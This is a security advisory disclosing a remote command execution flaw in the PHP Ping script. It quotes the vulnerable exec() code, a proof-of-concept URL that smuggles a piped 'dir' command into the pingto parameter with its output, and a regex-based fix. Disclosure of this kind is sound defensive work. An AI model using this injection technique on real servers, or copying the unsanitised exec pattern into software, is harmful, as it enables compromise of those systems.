[SCSA-009] Remote Command Execution Vulnerability in PHP Ping

["Gregory Le Bras | Security Corporation" <gregory.lebras () security-corp org>]

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Security Corporation Security Advisory [SCSA-009]
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PROGRAM: PHP Ping
HOMEPAGE: http://www.phpapps.org/
VULNERABLE VERSIONS: v0.1 and prior
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DESCRIPTION
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PHP ping "will allow you, provided that your server turns under Windows,
to realize a "ping" on the host of your choice."

(direct quote from PHP Ping website)


DETAILS
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A vulnerability have been found in PHP ping which allow attackers to
execute remote command.

This vulnerability would allow a remote attacker to compromise parts of
the operating system, possibly the complete operating system.

Vulnerable code :

<?
//*************************************
// FONCTION DU PING
//*************************************
function PHPing($cible,$pingFile){
exec("ping -a -n 1 $cible >$pingFile", $list);
$fd = fopen($pingFile, "r");
while(!feof($fd))
{
$ping.= fgets($fd,256);
}
fclose($fd);
return $ping;
}
//-------------------------------------
?>


EXPLOIT
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The vulnerability was discovered in the page for execute "ping",
at this adress :

http://[target]/phpping/index.php?pingto=www.security-corp.org%20|%20dir

This exploit simply show the contents of the current repertory.

c:\phpping

03/03/2003  23:01       <DIR>          .
03/03/2003  23:01       <DIR>          ..
03/03/2003  23:00       <DIR>          img
30/04/2002  23:13                3217 index.php
30/04/2002  23:19                  921 README
03/03/2003  23:03                    0 resultat.ping
               3 file(s)            4138 bytes
               3 Dir(s)  11413962752 bytes free


SOLUTIONS
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For example use this code :

<?
//*************************************
// FONCTION DU PING
//*************************************
function PHPing($cible,$pingFile){

# BugFix by Gregory LEBRAS www.security-corp.org

if( (!$cible) ||
(!preg_match("/^[\w\d\.\-]+\.[\w\d]{1,3}$/i",$cible)) ){
  echo("Error: Please specify a valid target host or IP.");
  exit;
}
else
{
exec("ping -a -n 1 $cible >$pingFile", $list);
$fd = fopen($pingFile, "r");
while(!feof($fd))
{
$ping.= fgets($fd,256);
}
fclose($fd);
return $ping;
}
}
//------------------------------------


VENDOR STATUS
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The vendor has reportedly been notified.


LINKS
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Version Française :

http://www.security-corp.org/advisories/SCSA-009-FR.txt


------------------------------------------------------------
Grégory Le Bras aka GaLiaRePt | http://www.Security-Corp.org
------------------------------------------------------------


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